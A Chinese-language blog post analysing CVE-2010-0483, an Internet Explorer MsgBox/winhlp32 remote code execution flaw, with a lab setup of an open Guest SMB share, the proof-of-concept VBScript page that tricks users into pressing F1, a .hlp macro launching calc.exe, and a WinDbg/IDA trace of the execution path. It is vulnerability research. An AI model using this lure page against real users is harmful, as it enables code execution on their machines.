首页 > 代码库 > CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution

CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution

  相关资料:https://www.exploit-db.com/exploits/11615/

  目的是为了了解漏洞执行的流程。

根据资料准备服务端环境:

  用一台win7当做是服务器,需要在win7上共享一个文件夹用于客户端访问。我的测试环境共享的文件夹是www。

  (1)启用Guest来宾账户,共享文件夹时将Guest添加读权限。此时在win7本机上应能访问,但在局域网的XP虚拟机无法访问  \\192.168.0.11\www\

  (2)运行 secpol.msc 打开本地安全策略->本地策略->用户权限分配->拒绝从网络访问此计算机->去掉Guest   此时XP虚拟机可以访问共享文件

  (3)在www目录放置test.hlp文件和html文件提供给客户端访问

html文件内容大致如下

<html>
<body>
<script type="text/vbscript">
big = "\\192.168.0.11\www\test.hlp"
  
//For i=1 to 2500
//  big = big & "\..\"
//Next

MsgBox "please press F1 to save the world", ,"please save the world",big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</body>
</html>

 搜索vbscript MsgBox相关资料

  MsgBox(prompt[,buttons][,title][,helpfile,context])

参数helpfile可以指定对话框提供上下文相关帮助的帮助文件,那么就是按下F1时,访问了远程指定的hlp文件

先大致看一眼hlp文件内容,发现了调用了calc.exe

技术分享

2、客户端测试

打开IE,并用windbg attach进程,然后访问html页面并在弹出MsgBox时,按下F1出来下面的情况:

技术分享

 技术分享

根据现象,似乎创建了一个新进程,可以通过ProcessHacker工具的Log查看,或者直接观察任务管理器,进一步确认后,给CreateProcess下断定位漏洞流程。

bp kernel32!CreateProcessW       

按下F1,断下后查看函数参数,执行了"C:\WINDOWS\winhlp32 -x",创建winhlp32.exe。 但却没有发现和"\\192.168.0.11\www\test.hlp"相关的信息

技术分享

 

再查看函数调用堆栈
技术分享


观察WinHelpA、FindWinHelpWindow、LaunchHelp这重要函数。

根据IDA的分析     BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData) 

先给WinHelpA下断

bp USER32!WinHelpA 运行后,重新按F1后断下根据栈上的参数确认了lpszHelp变量指向了"\\192.168.0.11\www\test.hlp" 

IDA中F5反汇编USER32!WinHelpA 函数跟踪lpszHelp变量,发现只有HFill 函数操作了这个变量。跟进HFill函数分析。

HFill函数分配内存,复制lpszHelp到该内存的偏移0x10处。

__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData)
{
    if(lpszHelp != 0)
    {
        int len = strlen(lpszHelp) + 1;//ebx
        int s1 = 0;//esi;
        if(dwData != NULL)
        {
            loc_77D4762E
            BYTE tmp = (arg_4>>8&)0xFF;
            if(tmp != 1)
            {
                if(tmp == 2)s1 = *arg_8;
            }else{
                loc_77D47643
            }
            LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配内存
            if(p != NULL)
            {
                *(WORD *)(p+2) = uCommand;
                *(WORD *)p = 0;
                *(DWORD *)(p+8) = 0;
                if(lpszHelp != NULL)
                {
                    *(WORD *)(p+0xC) = 0x10;
                    strcpy((p+0x10),lpszHelp);//复制lpszHelp到分配的内存偏移0x10处
                }else{
                    *(WORD *)(p+0xC) = 0;
                }

                if(tmp!= 1 && s1 != 0)
                {
                    loc_77D47682
                }else if(tmp == 2 && s1 != 0){
                    loc_77D4765E
                }else{
                    *(DWORD *)(p+4) = dwData;
                }
                loc_77D3EE2F
                    *(WORD *)(p+0xE) = dx;

                return p;//返回了分配的地址
            }else{
                loc_77D47657
            }
        }
    }else{
        loc_77D3EE3A
    }
}

在WinHelpA函数剩下的流程中,FindWinHelpWindow  根据上面的调用堆栈知道该函数创建了winhlp32进程,并返回了窗口句柄。

技术分享

SendWinHelpMessage发送消息码为0x38的消息并将HFill函数分配的内存作为lParam。

为了调试新创建的进程执行 .childdbg 1命令进行子进程调试,运行断下后

技术分享

根据左下角的1表示断在了新进程中。

因为SendMessage发送的不是队列消息,所以要找到窗口的消息回调函数。一般消息回调函数都会调用默认的处理函数DefWindowProc

IDA分析winhlp32.exe,并在导入表中定位默认消息回调函数DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比较有可能是消息回调函数的HelpWndProc

技术分享

到达HelpWndProc后,继续F5反汇编定位到了这段代码

技术分享

技术分享

经确认消息码确实是0x38。下断bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,断下后跟进DispatcherProc

用pct命令对实际执行的函数,跳过不重要的函数,定位到了调用_GenerateMessage(0x407u, 0, (LPARAM)v24); 该函数发送了消息码0x407,参数v24包含hlp路径

重新查看HelpWndProc对0x407的处理,定位到

技术分享

 

因为hlp文件会创建计算器进程,再对CreateProcessW下断,定位流程,断下后查看函数调用堆栈

技术分享

 

ShellExecuteA这个的功能是运行一个外部程序。猜测应该是打开了计算器,重新下断调试进行确认  

winhlp32进程创建后, bp SHELL32!ShellExecuteA

技术分享

 

那就表示此时已经在执行hlp文件的内容了,再定位winhlp32!Execute下断查看参数

根据IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 发现参数lpString2为hlp文件的内容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。

再定位上层函数ConfigMacrosHde   用IDA进行反汇编

技术分享

可以看出ConfigMacrosHde函数的作用就是循环读取hlp的内容并由Execute函数负责执行。

继续定位上层函数 FReplaceCloneHde,重新调试,创建winhlp32.exe进行进程时 ,对FReplaceCloneHde下断
bp winhlp32!FReplaceCloneHde

F5对上层函数ExecAPI 反汇编 可以知道FReplaceCloneHde 参数1是一个字符串指针,参数2是指向help文件路径字符串指针的指针

技术分享

F5对FReplaceCloneHde进行反汇编,ConfigMacrosHde的数据来自v38,而v38来自于HCreate ,v5就是参数2 ppHelp指向hlp文件的指针的指针

技术分享   技术分享 技术分享

打开文件的流程是HdeCreate->sub_1019C49 ->HfsOpenFm->FPlungeQfshr->FidOpenFm->kernel32!_lopen

 

最后去掉共享,禁用Guest,恢复之前的准备工作。

CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution